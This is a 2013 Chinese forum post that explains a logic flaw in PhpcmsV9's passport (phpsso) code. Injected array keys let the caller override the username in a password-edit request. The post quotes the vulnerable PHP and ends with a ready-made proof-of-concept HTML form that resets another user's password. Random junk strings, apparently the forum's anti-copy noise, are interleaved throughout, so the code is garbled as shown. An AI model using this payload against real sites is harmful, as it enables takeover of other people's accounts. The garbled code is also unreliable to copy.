找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2175|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
) P* e& k3 y4 J  {% c/ a/ t* v
% Y6 C! h& `& U
8 l. J, b, A4 B$ Q4 b# fparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
4 ~; m* I3 T4 L- O2 j9 I, V6 s3 ?* _& W
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
( m7 F; U' f- f
+ [" n1 b, a( B% m+ P/ u8 q' U7 t我把它留给了你们。
$ V" N& q" R$ H不知道你们发现了它没有。
* k2 Q# E; @8 k$ T2 n4 S" o! R3 m9 ?% n" A( T
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。& h8 G2 S' \, F

; U, R! S$ E% n5 }9 T' u: G& S所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
7 N' [& }$ M, i1 {0 `
4 m( h3 g) c7 b! |( ^7 I2 i也就是. s- e2 l  {2 g) u7 F; M

6 G* A( N. `9 rusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
6 W. _0 w7 w( B. N7 V8 s6 A+ c/ l4 s# ~2 K6 J
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。3 t8 d$ B  x7 w& P" C  E

8 ^, I9 Y0 r, ?6 B$ d8 U2 w5 z7 ]* |- p% X% Z' h) e* g3 P2 i- W
其实我们有这样的机会,看看代码,如下:
# s8 D- o5 {3 I
2 h# W* |0 r. z( P5 k+ c( s) h7 p! g, a, u
public function auth_data($data) {
  U% K: a5 [( C1 I. y$ |$ @3 \2 P* ?                $s = $sep = '';, T! N4 `* O2 Y9 y5 h% \$ W4 b
                foreach($data as $k => $v) {
) h: P3 J2 g1 `8 C$ [7 a                        if(is_array($v)) {  t! B0 T3 D9 `6 N: M
                                $s2 = $sep2 = '';. t0 A7 M' ?) @. T
                                foreach($v as $k2 => $v2) {2 ^; }8 l0 y/ q/ H
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);7 z& E  r9 K# s" l* }. R
                                        $sep2 = '&';
7 ?4 w( L* x; S' [# a6 W+ y, M  q                                }
) q5 g5 T( d) B1 H                                $s .= $sep.$s2;
5 K: s  b( Z7 f" p( W0 K                        } else {1 W7 [6 |* e$ l6 q! F1 u0 Y3 V
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
  L* ?8 L, Q. J" s3 N" i                        }
1 A2 t; d% [9 s/ e6 |5 |                        $sep = '&';; ~$ g0 D$ D# M1 w6 \" J) F
                }1 C5 A/ e1 @  A0 ^0 L' |' ]1 h

& Z9 z! m9 E6 Q# V: S+ v                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));7 R8 J; e. g  e( D
                return $auth_s;
6 O& j" y: X7 ?3 t: {        }
# Q- U. g, z. o3 }4 i
" @+ D" D  s  z4 K& o+ V可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。0 N$ z! g6 h2 x

6 u4 {, S& L+ u举个例子
  I$ n; a* x6 [. V* ?  N& H
6 C8 @6 B- @7 N& K& _  i; g: Q$a[aaa=a&bbb] = 'a';
/ m( T; u' G3 z7 N8 n+ M: e; G/ y0 C6 H; j# m/ u
会变成aaa=a&bbb=a( o# H+ @( H, M
, o) V' Q: w- Q. }1 @
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。6 p2 n1 B$ R# [8 e* ~

/ \0 X$ f7 ^& {( M这个时候,我们可以再去看一个函数。+ S. J5 m0 K9 z* P. v* o# v& D

' ?, [; r! e5 {9 a+ c就在这个文件内:
5 \. l3 r# \, R7 ~% M& F/ H; }. q& m8 i5 n6 [/ o  Z
" A% p% ?: _* p( w
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {6 J; K. ?6 j2 \; [
                if($email && !$this->_is_email($email)) {
  u4 k. m% g: S% v1 @4 K6 V                        return -4;/ b6 }, }4 q: \! ~
                }: A6 H2 n  R# I# S4 V/ b/ O
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));# \& J9 F) h. J$ D
        }
% _# h, ?$ o1 ?' L0 y. J2 S
# a/ O6 M( y0 X1 o6 x# l1 `这是向通行证发了这样一个请求。4 r% {5 x) \+ n# X1 s2 E
4 `0 P: ~1 l" z) r( k" ?% e
我们再跟到通信证代码里去看看,就会有所发现。
/ {, O. M8 \/ I* A3 W& G, v" @* s9 [' p) f8 H; c: i% U
% }- P. D1 j; q  P, y4 o
public function edit() {/ Z/ D% o" Z* w& ]% |) c
//能省就省,太长了不是吗?
: Z9 [0 g; G5 p' O6 s$ I7 {
4 r3 |$ n6 b! V" T, j9 E6 W8 kif($this->username) {
- w/ L, [" S# S( {6 _//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
2 k. s; |( O/ _3 d                                $res = $this->db->update($data, array('username'=>$this->username));3 p6 H. L9 @# m# {
                        } else {( K& E2 ?3 i: G$ j* q
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);+ O' n0 S, L+ t7 o; Q
                                $res = $this->db->update($data, array('uid'=>$this->uid));: Q: \7 k4 C# `6 @* a1 [
                        }
" U4 z6 v( S. o4 X5 e- k) O4 r+ N" s: L2 d. p& ^: @2 O4 n
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
) ?1 x! E: x! G. t1 d: B
& _3 K' T  M7 d$ ~# W# [9 x( q: x  Xpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
# w( _! n3 `) _/ k6 {" L* _# ^
" u; Q) X' r% X0 f; v+ Q9 e很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。  V; d7 U% J. R! P

, w, z& Z! i5 ]5 f. n我当然找到了:* X& M. Q3 l2 B4 S8 S
phpcms9/phpcms/modules/member/index.php2 o# i  L" f* y

  V) J! Y; g) g3 A$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
5 P. X4 W' U) l, \6 c7 w
5 e3 X; f. m" c6 q  b3 v) h然后就没有然后了。
; Y9 m' }- J# M( L. o/ q8 J
" F; w- V/ w2 U9 M<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
- U5 u1 e) V# h* H                                <table width="100%" cellspacing="0" class="table_form">  K6 a& @$ o: M: b% c9 g
                                        <tr>
7 ]( t3 d- l- d6 f8 K! {5 i                                                <th width="80">邮箱:</th>        
  l& Q+ j+ N  s4 Z' S& _0 f5 m                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>; ]0 z) p* e; n8 z
                                        </tr>8 s7 L% j4 P: x- v5 }2 A1 [
                                        <tr>
& z) a. A3 [7 O1 _                                                <th width="80">原密码:</th>        
. Q0 Z$ u4 s, j" P9 X* t                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
/ b0 V3 r% Q0 h6 v" u* J6 r* l                                        </tr>
  t6 N" [; L1 x% @, C  y. S                                        <tr>
% T  c( ^% O8 ~; @( Z                                                <th>新密码:</th>
  |  B1 t3 R! l! x4 u- g                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
7 v  ?1 P. f9 t& @: y                                        </tr>
$ |+ |" K7 I8 f4 d# Z7 ]# G& m5 @                                        <th></th>
$ ^1 c1 A( c/ f  _6 D, y) Q                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
4 z* b8 n3 x! J/ h' O0 V! }                                        </tr>
3 G9 C& B( a* I1 o9 s$ f                                </table>5 b, Y% I: k# T5 L5 k* w/ [
) {" U( f4 ]0 h) t; k
                               
# b4 v& r7 m" `0 t; J) q2 P                        </form>
9 V' e5 U0 ~' X7 D) y/ m2 \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表